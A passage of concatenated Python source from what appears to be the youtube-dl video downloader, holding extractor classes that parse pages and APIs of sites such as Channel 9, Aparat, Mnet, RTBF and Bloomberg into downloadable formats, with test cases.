        will be dropped. """
        list1_urls = set([item['url'] for item in subtitle_list1])
        ret = list(subtitle_list1)
        ret.extend([item for item in subtitle_list2 if item['url'] not in list1_urls])
        return ret

    @classmethod
    def _merge_subtitles(cls, subtitle_dict1, subtitle_dict2):
        """ Merge two subtitle dictionaries, language by language. """
        ret = dict(subtitle_dict1)
        for lang in subtitle_dict2:
            ret[lang] = cls._merge_subtitle_items(subtitle_dict1.get(lang, []), subtitle_dict2[lang])
        return ret

    def extract_automatic_captions(self, *args, **kwargs):
        if (self._downloader.params.get('writeautomaticsub', False) or
                self._downloader.params.get('listsubtitles')):
            return self._get_automatic_captions(*args, **kwargs)
        return {}

    def _get_automatic_captions(self, *args, **kwargs):
        raise NotImplementedError('This method must be implemented by subclasses')

    def mark_watched(self, *args, **kwargs):
        if (self._downloader.params.get('mark_watched', False) and
                (self._get_login_info()[0] is not None or
                    self._downloader.params.get('cookiefile') is not None)):
            self._mark_watched(*args, **kwargs)

    def _mark_watched(self, *args, **kwargs):
        raise NotImplementedError('This method must be implemented by subclasses')

    def geo_verification_headers(self):
        headers = {}
        geo_verification_proxy = self._downloader.params.get('geo_verification_proxy')
        if geo_verification_proxy:
            headers['Ytdl-request-proxy'] = geo_verification_proxy
        return headers


class SearchInfoExtractor(InfoExtractor):
    """
    Base class for paged search queries extractors.
    They accept URLs in the format _SEARCH_KEY(|all|[0-9]):{query}
    Instances should define _SEARCH_KEY and _MAX_RESULTS.
    """

    @classmethod
    def _make_valid_url(cls):
        return r'%s(?P<prefix>|[1-9][0-9]*|all):(?P<query>[\s\S]+)' % cls._SEARCH_KEY

    @classmethod
    def suitable(cls, url):
        return re.match(cls._make_valid_url(), url) is not None

    def _real_extract(self, query):
        mobj = re.match(self._make_valid_url(), query)
        if mobj is None:
            raise ExtractorError('Invalid search query "%s"' % query)

        prefix = mobj.group('prefix')
        query = mobj.group('query')
        if prefix == '':
            return self._get_n_results(query, 1)
        elif prefix == 'all':
            return self._get_n_results(query, self._MAX_RESULTS)
        else:
            n = int(prefix)
            if n <= 0:
                raise ExtractorError('invalid download number %s for query "%s"' % (n, query))
            elif n > self._MAX_RESULTS:
                self._downloader.report_warning('%s returns max %i results (you requested %i)' % (self._SEARCH_KEY, self._MAX_RESULTS, n))
                n = self._MAX_RESULTS
            return self._get_n_results(query, n)

    def _get_n_results(self, query, n):
        """Get a specified number of results for a query"""
        raise NotImplementedError('This method must be implemented by subclasses')

    @property
    def SEARCH_KEY(self):
        return self._SEARCH_KEY






from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..utils import (
    ExtractorError,
    parse_filesize,
    qualities,
)


class Channel9IE(InfoExtractor):
    '''
    Common extractor for channel9.msdn.com.

    The type of provided URL (video or playlist) is determined according to
    meta Search.PageType from web page HTML rather than URL itself, as it is
    not always possible to do.
    '''
    IE_DESC = 'Channel 9'
    IE_NAME = 'channel9'
    _VALID_URL = r'https?://(?:www\.)?channel9\.msdn\.com/(?P<contentpath>.+?)(?P<rss>/RSS)?/?(?:[?#&]|$)'

    _TESTS = [{
        'url': 'http://channel9.msdn.com/Events/TechEd/Australia/2013/KOS002',
        'md5': 'bbd75296ba47916b754e73c3a4bbdf10',
        'info_dict': {
            'id': 'Events/TechEd/Australia/2013/KOS002',
            'ext': 'mp4',
            'title': 'Developer Kick-Off Session: Stuff We Love',
            'description': 'md5:c08d72240b7c87fcecafe2692f80e35f',
            'duration': 4576,
            'thumbnail': 're:http://.*\.jpg',
            'session_code': 'KOS002',
            'session_day': 'Day 1',
            'session_room': 'Arena 1A',
            'session_speakers': ['Ed Blankenship', 'Andrew Coates', 'Brady Gaster', 'Patrick Klug',
                                 'Mads Kristensen'],
        },
    }, {
        'url': 'http://channel9.msdn.com/posts/Self-service-BI-with-Power-BI-nuclear-testing',
        'md5': 'b43ee4529d111bc37ba7ee4f34813e68',
        'info_dict': {
            'id': 'posts/Self-service-BI-with-Power-BI-nuclear-testing',
            'ext': 'mp4',
            'title': 'Self-service BI with Power BI - nuclear testing',
            'description': 'md5:d1e6ecaafa7fb52a2cacdf9599829f5b',
            'duration': 1540,
            'thumbnail': 're:http://.*\.jpg',
            'authors': ['Mike Wilmot'],
        },
    }, {
        # low quality mp4 is best
        'url': 'https://channel9.msdn.com/Events/CPP/CppCon-2015/Ranges-for-the-Standard-Library',
        'info_dict': {
            'id': 'Events/CPP/CppCon-2015/Ranges-for-the-Standard-Library',
            'ext': 'mp4',
            'title': 'Ranges for the Standard Library',
            'description': 'md5:2e6b4917677af3728c5f6d63784c4c5d',
            'duration': 5646,
            'thumbnail': 're:http://.*\.jpg',
        },
        'params': {
            'skip_download': True,
        },
    }, {
        'url': 'https://channel9.msdn.com/Niners/Splendid22/Queue/76acff796e8f411184b008028e0d492b/RSS',
        'info_dict': {
            'id': 'Niners/Splendid22/Queue/76acff796e8f411184b008028e0d492b',
            'title': 'Channel 9',
        },
        'playlist_count': 2,
    }, {
        'url': 'https://channel9.msdn.com/Events/DEVintersection/DEVintersection-2016/RSS',
        'only_matching': True,
    }, {
        'url': 'https://channel9.msdn.com/Events/Speakers/scott-hanselman/RSS?UrlSafeName=scott-hanselman',
        'only_matching': True,
    }]

    _RSS_URL = 'http://channel9.msdn.com/%s/RSS'

    def _formats_from_html(self, html):
        FORMAT_REGEX = r'''
            (?x)
            <a\s+href="(?P<url>[^"]+)">(?P<quality>[^<]+)</a>\s*
            <span\s+class="usage">\((?P<note>[^\)]+)\)</span>\s*
            (?:<div\s+class="popup\s+rounded">\s*
            <h3>File\s+size</h3>\s*(?P<filesize>.*?)\s*
            </div>)?                                                # File size part may be missing
        '''
        quality = qualities((
            'MP3', 'MP4',
            'Low Quality WMV', 'Low Quality MP4',
            'Mid Quality WMV', 'Mid Quality MP4',
            'High Quality WMV', 'High Quality MP4'))
        formats = [{
            'url': x.group('url'),
            'format_id': x.group('quality'),
            'format_note': x.group('note'),
            'format': '%s (%s)' % (x.group('quality'), x.group('note')),
            'filesize_approx': parse_filesize(x.group('filesize')),
            'quality': quality(x.group('quality')),
            'vcodec': 'none' if x.group('note') == 'Audio only' else None,
        } for x in list(re.finditer(FORMAT_REGEX, html))]

        self._sort_formats(formats)

        return formats

    def _extract_title(self, html):
        title = self._html_search_meta('title', html, 'title')
        if title is None:
            title = self._og_search_title(html)
            TITLE_SUFFIX = ' (Channel 9)'
            if title is not None and title.endswith(TITLE_SUFFIX):
                title = title[:-len(TITLE_SUFFIX)]
        return title

    def _extract_description(self, html):
        DESCRIPTION_REGEX = r'''(?sx)
            <div\s+class="entry-content">\s*
            <div\s+id="entry-body">\s*
            (?P<description>.+?)\s*
            </div>\s*
            </div>
        '''
        m = re.search(DESCRIPTION_REGEX, html)
        if m is not None:
            return m.group('description')
        return self._html_search_meta('description', html, 'description')

    def _extract_duration(self, html):
        m = re.search(r'"length": *"(?P<hours>\d{2}):(?P<minutes>\d{2}):(?P<seconds>\d{2})"', html)
        return ((int(m.group('hours')) * 60 * 60) + (int(m.group('minutes')) * 60) + int(m.group('seconds'))) if m else None

    def _extract_slides(self, html):
        m = re.search(r'<a href="(?P<slidesurl>[^"]+)" class="slides">Slides</a>', html)
        return m.group('slidesurl') if m is not None else None

    def _extract_zip(self, html):
        m = re.search(r'<a href="(?P<zipurl>[^"]+)" class="zip">Zip</a>', html)
        return m.group('zipurl') if m is not None else None

    def _extract_avg_rating(self, html):
        m = re.search(r'<p class="avg-rating">Avg Rating: <span>(?P<avgrating>[^<]+)</span></p>', html)
        return float(m.group('avgrating')) if m is not None else 0

    def _extract_rating_count(self, html):
        m = re.search(r'<div class="rating-count">\((?P<ratingcount>[^<]+)\)</div>', html)
        return int(self._fix_count(m.group('ratingcount'))) if m is not None else 0

    def _extract_view_count(self, html):
        m = re.search(r'<li class="views">\s*<span class="count">(?P<viewcount>[^<]+)</span> Views\s*</li>', html)
        return int(self._fix_count(m.group('viewcount'))) if m is not None else 0

    def _extract_comment_count(self, html):
        m = re.search(r'<li class="comments">\s*<a href="#comments">\s*<span class="count">(?P<commentcount>[^<]+)</span> Comments\s*</a>\s*</li>', html)
        return int(self._fix_count(m.group('commentcount'))) if m is not None else 0

    def _fix_count(self, count):
        return int(str(count).replace(',', '')) if count is not None else None

    def _extract_authors(self, html):
        m = re.search(r'(?s)<li class="author">(.*?)</li>', html)
        if m is None:
            return None
        return re.findall(r'<a href="/Niners/[^"]+">([^<]+)</a>', m.group(1))

    def _extract_session_code(self, html):
        m = re.search(r'<li class="code">\s*(?P<code>.+?)\s*</li>', html)
        return m.group('code') if m is not None else None

    def _extract_session_day(self, html):
        m = re.search(r'<li class="day">\s*<a href="/Events/[^"]+">(?P<day>[^<]+)</a>\s*</li>', html)
        return m.group('day').strip() if m is not None else None

    def _extract_session_room(self, html):
        m = re.search(r'<li class="room">\s*(?P<room>.+?)\s*</li>', html)
        return m.group('room') if m is not None else None

    def _extract_session_speakers(self, html):
        return re.findall(r'<a href="/Events/Speakers/[^"]+">([^<]+)</a>', html)

    def _extract_content(self, html, content_path):
        # Look for downloadable content
        formats = self._formats_from_html(html)
        slides = self._extract_slides(html)
        zip_ = self._extract_zip(html)

        # Nothing to download
        if len(formats) == 0 and slides is None and zip_ is None:
            self._downloader.report_warning('None of recording, slides or zip are available for %s' % content_path)
            return

        # Extract meta
        title = self._extract_title(html)
        description = self._extract_description(html)
        thumbnail = self._og_search_thumbnail(html)
        duration = self._extract_duration(html)
        avg_rating = self._extract_avg_rating(html)
        rating_count = self._extract_rating_count(html)
        view_count = self._extract_view_count(html)
        comment_count = self._extract_comment_count(html)

        common = {
            '_type': 'video',
            'id': content_path,
            'description': description,
            'thumbnail': thumbnail,
            'duration': duration,
            'avg_rating': avg_rating,
            'rating_count': rating_count,
            'view_count': view_count,
            'comment_count': comment_count,
        }

        result = []

        if slides is not None:
            d = common.copy()
            d.update({'title': title + '-Slides', 'url': slides})
            result.append(d)

        if zip_ is not None:
            d = common.copy()
            d.update({'title': title + '-Zip', 'url': zip_})
            result.append(d)

        if len(formats) > 0:
            d = common.copy()
            d.update({'title': title, 'formats': formats})
            result.append(d)

        return result

    def _extract_entry_item(self, html, content_path):
        contents = self._extract_content(html, content_path)
        if contents is None:
            return contents

        if len(contents) > 1:
            raise ExtractorError('Got more than one entry')
        result = contents[0]
        result['authors'] = self._extract_authors(html)

        return result

    def _extract_session(self, html, content_path):
        contents = self._extract_content(html, content_path)
        if contents is None:
            return contents

        session_meta = {
            'session_code': self._extract_session_code(html),
            'session_day': self._extract_session_day(html),
            'session_room': self._extract_session_room(html),
            'session_speakers': self._extract_session_speakers(html),
        }

        for content in contents:
            content.update(session_meta)

        return self.playlist_result(contents)

    def _extract_list(self, video_id, rss_url=None):
        if not rss_url:
            rss_url = self._RSS_URL % video_id
        rss = self._download_xml(rss_url, video_id, 'Downloading RSS')
        entries = [self.url_result(session_url.text, 'Channel9')
                   for session_url in rss.findall('./channel/item/link')]
        title_text = rss.find('./channel/title').text
        return self.playlist_result(entries, video_id, title_text)

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)
        content_path = mobj.group('contentpath')
        rss = mobj.group('rss')

        if rss:
            return self._extract_list(content_path, url)

        webpage = self._download_webpage(
            url, content_path, 'Downloading web page')

        page_type = self._search_regex(
            r'<meta[^>]+name=(["\'])WT\.entryid\1[^>]+content=(["\'])(?P<pagetype>[^:]+).+?\2',
            webpage, 'page type', default=None, group='pagetype')
        if page_type:
            if page_type == 'Entry':      # Any 'item'-like page, may contain downloadable content
                return self._extract_entry_item(webpage, content_path)
            elif page_type == 'Session':  # Event session page, may contain downloadable content
                return self._extract_session(webpage, content_path)
            elif page_type == 'Event':
                return self._extract_list(content_path)
            else:
                raise ExtractorError('Unexpected WT.entryid %s' % page_type, expected=True)
        else:  # Assuming list
            return self._extract_list(content_path)






# coding: utf-8
from __future__ import unicode_literals

import os.path
import re

from .common import InfoExtractor
from ..utils import (
    ExtractorError,
    remove_start,
    sanitized_Request,
    urlencode_postdata,
)


class MonikerIE(InfoExtractor):
    IE_DESC = 'allmyvideos.net and vidspot.net'
    _VALID_URL = r'https?://(?:www\.)?(?:allmyvideos|vidspot)\.net/(?:(?:2|v)/v-)?(?P<id>[a-zA-Z0-9_-]+)'

    _TESTS = [{
        'url': 'http://allmyvideos.net/jih3nce3x6wn',
        'md5': '710883dee1bfc370ecf9fa6a89307c88',
        'info_dict': {
            'id': 'jih3nce3x6wn',
            'ext': 'mp4',
            'title': 'youtube-dl test video',
        },
    }, {
        'url': 'http://allmyvideos.net/embed-jih3nce3x6wn',
        'md5': '710883dee1bfc370ecf9fa6a89307c88',
        'info_dict': {
            'id': 'jih3nce3x6wn',
            'ext': 'mp4',
            'title': 'youtube-dl test video',
        },
    }, {
        'url': 'http://vidspot.net/l2ngsmhs8ci5',
        'md5': '710883dee1bfc370ecf9fa6a89307c88',
        'info_dict': {
            'id': 'l2ngsmhs8ci5',
            'ext': 'mp4',
            'title': 'youtube-dl test video',
        },
    }, {
        'url': 'https://www.vidspot.net/l2ngsmhs8ci5',
        'only_matching': True,
    }, {
        'url': 'http://vidspot.net/2/v-ywDf99',
        'md5': '5f8254ce12df30479428b0152fb8e7ba',
        'info_dict': {
            'id': 'ywDf99',
            'ext': 'mp4',
            'title': 'IL FAIT LE MALIN EN PORSHE CAYENNE ( mais pas pour longtemps)',
            'description': 'IL FAIT LE MALIN EN PORSHE CAYENNE.',
        },
    }, {
        'url': 'http://allmyvideos.net/v/v-HXZm5t',
        'only_matching': True,
    }]

    def _real_extract(self, url):
        orig_video_id = self._match_id(url)
        video_id = remove_start(orig_video_id, 'embed-')
        url = url.replace(orig_video_id, video_id)
        assert re.match(self._VALID_URL, url) is not None
        orig_webpage = self._download_webpage(url, video_id)

        if '>File Not Found<' in orig_webpage:
            raise ExtractorError('Video %s does not exist' % video_id, expected=True)

        error = self._search_regex(
            r'class="err">([^<]+)<', orig_webpage, 'error', default=None)
        if error:
            raise ExtractorError(
                '%s returned error: %s' % (self.IE_NAME, error), expected=True)

        builtin_url = self._search_regex(
            r'<iframe[^>]+src=(["\'])(?P<url>.+?/builtin-.+?)\1',
            orig_webpage, 'builtin URL', default=None, group='url')

        if builtin_url:
            req = sanitized_Request(builtin_url)
            req.add_header('Referer', url)
            webpage = self._download_webpage(req, video_id, 'Downloading builtin page')
            title = self._og_search_title(orig_webpage).strip()
            description = self._og_search_description(orig_webpage).strip()
        else:
            fields = re.findall(r'type="hidden" name="(.+?)"\s* value="?(.+?)">', orig_webpage)
            data = dict(fields)

            post = urlencode_postdata(data)
            headers = {
                b'Content-Type': b'application/x-www-form-urlencoded',
            }
            req = sanitized_Request(url, post, headers)
            webpage = self._download_webpage(
                req, video_id, note='Downloading video page ...')

            title = os.path.splitext(data['fname'])[0]
            description = None

        # Could be several links with different quality
        links = re.findall(r'"file" : "?(.+?)",', webpage)
        # Assume the links are ordered in quality
        formats = [{
            'url': l,
            'quality': i,
        } for i, l in enumerate(links)]
        self._sort_formats(formats)

        return {
            'id': video_id,
            'title': title,
            'description': description,
            'formats': formats,
        }






from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..utils import int_or_none


class SciVeeIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?scivee\.tv/node/(?P<id>\d+)'

    _TEST = {
        'url': 'http://www.scivee.tv/node/62352',
        'md5': 'b16699b74c9e6a120f6772a44960304f',
        'info_dict': {
            'id': '62352',
            'ext': 'mp4',
            'title': 'Adam Arkin at the 2014 DOE JGI Genomics of Energy & Environment Meeting',
            'description': 'md5:81f1710638e11a481358fab1b11059d7',
        },
        'skip': 'Not accessible from Travis CI server',
    }

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)
        video_id = mobj.group('id')

        # annotations XML is malformed
        annotations = self._download_webpage(
            'http://www.scivee.tv/assets/annotations/%s' % video_id, video_id, 'Downloading annotations')

        title = self._html_search_regex(r'<title>([^<]+)</title>', annotations, 'title')
        description = self._html_search_regex(r'<abstract>([^<]+)</abstract>', annotations, 'abstract', fatal=False)
        filesize = int_or_none(self._html_search_regex(
            r'<filesize>([^<]+)</filesize>', annotations, 'filesize', fatal=False))

        formats = [
            {
                'url': 'http://www.scivee.tv/assets/audio/%s' % video_id,
                'ext': 'mp3',
                'format_id': 'audio',
            },
            {
                'url': 'http://www.scivee.tv/assets/video/%s' % video_id,
                'ext': 'mp4',
                'format_id': 'video',
                'filesize': filesize,
            },
        ]

        return {
            'id': video_id,
            'title': title,
            'description': description,
            'thumbnail': 'http://www.scivee.tv/assets/videothumb/%s' % video_id,
            'formats': formats,
        }






# coding: utf-8
from __future__ import unicode_literals

from .common import InfoExtractor
from ..utils import (
    ExtractorError,
    HEADRequest,
)


class AparatIE(InfoExtractor):
    _VALID_URL = r'^https?://(?:www\.)?aparat\.com/(?:v/|video/video/embed/videohash/)(?P<id>[a-zA-Z0-9]+)'

    _TEST = {
        'url': 'http://www.aparat.com/v/wP8On',
        'md5': '131aca2e14fe7c4dcb3c4877ba300c89',
        'info_dict': {
            'id': 'wP8On',
            'ext': 'mp4',
            'title': 'تیم گلکسی 11 - زومیت',
            'age_limit': 0,
        },
        # 'skip': 'Extremely unreliable',
    }

    def _real_extract(self, url):
        video_id = self._match_id(url)

        # Note: There is an easier-to-parse configuration at
        # http://www.aparat.com/video/video/config/videohash/%video_id
        # but the URL in there does not work
        embed_url = 'http://www.aparat.com/video/video/embed/vt/frame/showvideo/yes/videohash/' + video_id
        webpage = self._download_webpage(embed_url, video_id)

        file_list = self._parse_json(self._search_regex(
            r'fileList\s*=\s*JSON\.parse\(\'([^\']+)\'\)', webpage, 'file list'), video_id)
        for i, item in enumerate(file_list[0]):
            video_url = item['file']
            req = HEADRequest(video_url)
            res = self._request_webpage(
                req, video_id, note='Testing video URL %d' % i, errnote=False)
            if res:
                break
        else:
            raise ExtractorError('No working video URLs found')

        title = self._search_regex(r'\s+title:\s*"([^"]+)"', webpage, 'title')
        thumbnail = self._search_regex(
            r'image:\s*"([^"]+)"', webpage, 'thumbnail', fatal=False)

        return {
            'id': video_id,
            'title': title,
            'url': video_url,
            'ext': 'mp4',
            'thumbnail': thumbnail,
            'age_limit': self._family_friendly_search(webpage),
        }






# coding: utf-8
from __future__ import unicode_literals

from .common import InfoExtractor
from ..utils import (
    int_or_none,
    parse_duration,
    parse_iso8601,
)


class MnetIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?mnet\.(?:com|interest\.me)/tv/vod/(?:.*?\bclip_id=)?(?P<id>[0-9]+)'
    _TESTS = [{
        'url': 'http://www.mnet.com/tv/vod/171008',
        'info_dict': {
            'id': '171008',
            'title': 'SS_이해인@히든박스',
            'description': 'md5:b9efa592c3918b615ba69fe9f8a05c55',
            'duration': 88,
            'upload_date': '20151231',
            'timestamp': 1451564040,
            'age_limit': 0,
            'thumbnails': 'mincount:5',
            'thumbnail': 're:^https?://.*\.jpg$',
            'ext': 'flv',
        },
        'params': {
            # rtmp download
            'skip_download': True,
        },
    }, {
        'url': 'http://mnet.interest.me/tv/vod/172790',
        'only_matching': True,
    }, {
        'url': 'http://www.mnet.com/tv/vod/vod_view.asp?clip_id=172790&tabMenu=',
        'only_matching': True,
    }]

    def _real_extract(self, url):
        video_id = self._match_id(url)

        info = self._download_json(
            'http://content.api.mnet.com/player/vodConfig?id=%s&ctype=CLIP' % video_id,
            video_id, 'Downloading vod config JSON')['data']['info']

        title = info['title']

        rtmp_info = self._download_json(
            info['cdn'], video_id, 'Downloading vod cdn JSON')

        formats = [{
            'url': rtmp_info['serverurl'] + rtmp_info['fileurl'],
            'ext': 'flv',
            'page_url': url,
            'player_url': 'http://flvfile.mnet.com/service/player/201602/cjem_player_tv.swf?v=201602191318',
        }]

        description = info.get('ment')
        duration = parse_duration(info.get('time'))
        timestamp = parse_iso8601(info.get('date'), delimiter=' ')
        age_limit = info.get('adult')
        if age_limit is not None:
            age_limit = 0 if age_limit == 'N' else 18
        thumbnails = [{
            'id': thumb_format,
            'url': thumb['url'],
            'width': int_or_none(thumb.get('width')),
            'height': int_or_none(thumb.get('height')),
        } for thumb_format, thumb in info.get('cover', {}).items() if thumb.get('url')]

        return {
            'id': video_id,
            'title': title,
            'description': description,
            'duration': duration,
            'timestamp': timestamp,
            'age_limit': age_limit,
            'thumbnails': thumbnails,
            'formats': formats,
        }






# coding: utf-8
from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..utils import (
    xpath_text,
    int_or_none,
)


class WallaIE(InfoExtractor):
    _VALID_URL = r'https?://vod\.walla\.co\.il/[^/]+/(?P<id>\d+)/(?P<display_id>.+)'
    _TEST = {
        'url': 'http://vod.walla.co.il/movie/2642630/one-direction-all-for-one',
        'info_dict': {
            'id': '2642630',
            'display_id': 'one-direction-all-for-one',
            'ext': 'flv',
            'title': 'וואן דיירקשן: ההיסטריה',
            'description': 'md5:de9e2512a92442574cdb0913c49bc4d8',
            'thumbnail': 're:^https?://.*\.jpg',
            'duration': 3600,
        },
        'params': {
            # rtmp download
            'skip_download': True,
        }
    }

    _SUBTITLE_LANGS = {
        'עברית': 'heb',
    }

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)
        video_id = mobj.group('id')
        display_id = mobj.group('display_id')

        video = self._download_xml(
            'http://video2.walla.co.il/?w=null/null/%s/@@/video/flv_pl' % video_id,
            display_id)

        item = video.find('./items/item')

        title = xpath_text(item, './title', 'title')
        description = xpath_text(item, './synopsis', 'description')
        thumbnail = xpath_text(item, './preview_pic', 'thumbnail')
        duration = int_or_none(xpath_text(item, './duration', 'duration'))

        subtitles = {}
        for subtitle in item.findall('./subtitles/subtitle'):
            lang = xpath_text(subtitle, './title')
            subtitles[self._SUBTITLE_LANGS.get(lang, lang)] = [{
                'ext': 'srt',
                'url': xpath_text(subtitle, './src'),
            }]

        formats = []
        for quality in item.findall('./qualities/quality'):
            format_id = xpath_text(quality, './title')
            fmt = {
                'url': 'rtmp://wafla.walla.co.il/vod',
                'play_path': xpath_text(quality, './src'),
                'player_url': 'http://isc.walla.co.il/w9/swf/video_swf/vod/WallaMediaPlayerAvod.swf',
                'page_url': url,
                'ext': 'flv',
                'format_id': xpath_text(quality, './title'),
            }
            m = re.search(r'^(?P<height>\d+)[Pp]', format_id)
            if m:
                fmt['height'] = int(m.group('height'))
            formats.append(fmt)
        self._sort_formats(formats)

        return {
            'id': video_id,
            'display_id': display_id,
            'title': title,
            'description': description,
            'thumbnail': thumbnail,
            'duration': duration,
            'formats': formats,
            'subtitles': subtitles,
        }






# coding: utf-8
from __future__ import unicode_literals

from .common import InfoExtractor
from ..utils import (
    int_or_none,
    ExtractorError,
)


class RTBFIE(InfoExtractor):
    _VALID_URL = r'''(?x)
        https?://(?:www\.)?rtbf\.be/
        (?:
            video/[^?]+\?.*\bid=|
            ouftivi/(?:[^/]+/)*[^?]+\?.*\bvideoId=|
            auvio/[^/]+\?.*id=
        )(?P<id>\d+)'''
    _TESTS = [{
        'url': 'https://www.rtbf.be/video/detail_les-diables-au-coeur-episode-2?id=1921274',
        'md5': '799f334ddf2c0a582ba80c44655be570',
        'info_dict': {
            'id': '1921274',
            'ext': 'mp4',
            'title': 'Les Diables au coeur (épisode 2)',
            'description': 'Football - Diables Rouges',
            'duration': 3099,
            'upload_date': '20140425',
            'timestamp': 1398456336,
            'uploader': 'rtbfsport',
        }
    }, {
        # geo restricted
        'url': 'http://www.rtbf.be/ouftivi/heros/detail_scooby-doo-mysteres-associes?id=1097&videoId=2057442',
        'only_matching': True,
    }, {
        'url': 'http://www.rtbf.be/ouftivi/niouzz?videoId=2055858',
        'only_matching': True,
    }, {
        'url': 'http://www.rtbf.be/auvio/detail_jeudi-en-prime-siegfried-bracke?id=2102996',
        'only_matching': True,
    }]
    _IMAGE_HOST = 'http://ds1.ds.static.rtbf.be'
    _PROVIDERS = {
        'YOUTUBE': 'Youtube',
        'DAILYMOTION': 'Dailymotion',
        'VIMEO': 'Vimeo',
    }
    _QUALITIES = [
        ('mobile', 'SD'),
        ('web', 'MD'),
        ('high', 'HD'),
    ]

    def _real_extract(self, url):
        video_id = self._match_id(url)
        data = self._download_json(
            'http://www.rtbf.be/api/media/video?method=getVideoDetail&args[]=%s' % video_id, video_id)

        error = data.get('error')
        if error:
            raise ExtractorError('%s said: %s' % (self.IE_NAME, error), expected=True)

        data = data['data']

        provider = data.get('provider')
        if provider in self._PROVIDERS:
            return self.url_result(data['url'], self._PROVIDERS[provider])

        formats = []
        for key, format_id in self._QUALITIES:
            format_url = data.get(key + 'Url')
            if format_url:
                formats.append({
                    'format_id': format_id,
                    'url': format_url,
                })

        thumbnails = []
        for thumbnail_id, thumbnail_url in data.get('thumbnail', {}).items():
            if thumbnail_id != 'default':
                thumbnails.append({
                    'url': self._IMAGE_HOST + thumbnail_url,
                    'id': thumbnail_id,
                })

        return {
            'id': video_id,
            'formats': formats,
            'title': data['title'],
            'description': data.get('description') or data.get('subtitle'),
            'thumbnails': thumbnails,
            'duration': data.get('duration') or data.get('realDuration'),
            'timestamp': int_or_none(data.get('created')),
            'view_count': int_or_none(data.get('viewCount')),
            'uploader': data.get('channel'),
            'tags': data.get('tags'),
        }






# coding: utf-8
from __future__ import unicode_literals

import re

from .common import InfoExtractor


class BloombergIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?bloomberg\.com/(?:[^/]+/)*(?P<id>[^/?#]+)'

    _TESTS = [{
        'url': 'http://www.bloomberg.com/news/videos/b/aaeae121-5949-481e-a1ce-4562db6f5df2',
        # The md5 checksum changes
        'info_dict': {
            'id': 'qurhIVlJSB6hzkVi229d8g',
            'ext': 'flv',
            'title': 'Shah\'s Presentation on Foreign-Exchange Strategies',
            'description': 'md5:a8ba0302912d03d246979735c17d2761',
        },
        'params': {
            'format': 'best[format_id^=hds]',
        },
    }, {
        # video ID in BPlayer(...)
        'url': 'http://www.bloomberg.com/features/2016-hello-world-new-zealand/',
        'info_dict': {
            'id': '938c7e72-3f25-4ddb-8b85-a9be731baa74',
            'ext': 'flv',
            'title': 'Meet the Real-Life Tech Wizards of Middle Earth',
            'description': 'Hello World, Episode 1: New Zealand’s freaky AI babies, robot exoskeletons, and a virtual you.',
        },
        'params': {
            'format': 'best[format_id^=hds]',
        },
    }, {
        'url': 'http://www.bloomberg.com/news/articles/2015-11-12/five-strange-things-that-have-been-happening-in-financial-markets',
        'only_matching': True,
    }, {
        'url': 'http://www.bloomberg.com/politics/videos/2015-11-25/karl-rove-on-jeb-bush-s-struggles-stopping-trump',
        'only_matching': True,
    }]

    def _real_extract(self, url):
        name = self._match_id(url)
        webpage = self._download_webpage(url, name)
        video_id = self._search_regex(
            r'["\']bmmrId["\']\s*:\s*(["\'])(?P<url>.+?)\1',
            webpage, 'id', group='url', default=None)
        if not video_id:
            bplayer_data = self._parse_json(self._search_regex(
                r'BPlayer\(null,\s*({[^;]+})\);', webpage, 'id'), name)
            video_id = bplayer_data['id']
        title = re.sub(': Video$', '', self._og_search_title(webpage))

        embed_info = self._download_json(
            'http://www.bloomberg.com/api/embed?id=%s' % video_id, video_id)
        formats = []
        for stream in embed_info['streams']:
            stream_url = stream.get('url')
            if not stream_url:
                continue
            if stream['muxing_format'] == 'TS':
                formats.extend(self._extract_m3u8_formats(
                    stream_url, video_id, 'mp4', m3u8_id='hls', fatal=False))
            else:
                formats.extend(self._extract_f4m_formats(
                    stream_url, video_id, f4m_id='hds', fatal=False))
        self._sort_formats(formats)

        return {
            'id': video_id,
            'title': title,
            'formats': formats,
            'description': self._og_search_description(webpage),
            'thumbnail': self._og_search_thumbnail(webpage),
        }






from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..utils import (
    ExtractorError,
    int_or_none,
    js_to_json,
)


class PornHdIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?pornhd\.com/(?:[a-z]{2,4}/)?videos/(?P<id>\d+)(?:/(?P<display_id>.+))?'
    _TESTS = [{
        'url': 'http://www.pornhd.com/videos/9864/selfie-restroom-masturbation-fun-with-chubby-cutie-hd-porn-video',
        'md5': 'c8b964b1f0a4b5f7f28ae3a5c9f86ad5',
        'info_dict': {
            'id': '9864',
            'display_id': 'selfie-restroom-masturbation-fun-with-chubby-cutie-hd-porn-video',
            'ext': 'mp4',
            'title': 'Restroom selfie masturbation',
            'description': 'md5:3748420395e03e31ac96857a8f125b2b',
            'thumbnail': 're:^https?://.*\.jpg',
            'view_count': int,
            'age_limit': 18,
        }
    }, {
        # removed video
        'url': 'http://www.pornhd.com/videos/1962/sierra-day-gets-his-cum-all-over-herself-hd-porn-video',
        'md5': '956b8ca569f7f4d8ec563e2c41598441',
        'info_dict': {
            'id': '1962',
            'display_id': 'sierra-day-gets-his-cum-all-over-herself-hd-porn-video',
            'ext': 'mp4',
            'title': 'Sierra loves doing laundry',
            'description': 'md5:8ff0523848ac2b8f9b065ba781ccf294',
            'thumbnail': 're:^https?://.*\.jpg',
            'view_count': int,
            'age_limit': 18,
        },
        'skip': 'Not available anymore',
    }]

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)
        video_id = mobj.group('id')
        display_id = mobj.group('display_id')

        webpage = self._download_webpage(url, display_id or video_id)

        title = self._html_search_regex(
            [r'<span[^>]+class=["\']video-name["\'][^>]*>([^<]+)',
             r'<title>(.+?) - .*?[Pp]ornHD.*?</title>'], webpage, 'title')

        sources = self._parse_json(js_to_json(self._search_regex(
            r"(?s)'sources'\s*:\s*(\{.+?\})\s*\}[;,)]",
            webpage, 'sources', default='{}')), video_id)

        if not sources:
            message = self._html_search_regex(
                r'(?s)<(div|p)[^>]+class="no-video"[^>]*>(?P<value>.+?)</\1',
                webpage, 'error message', group='value')
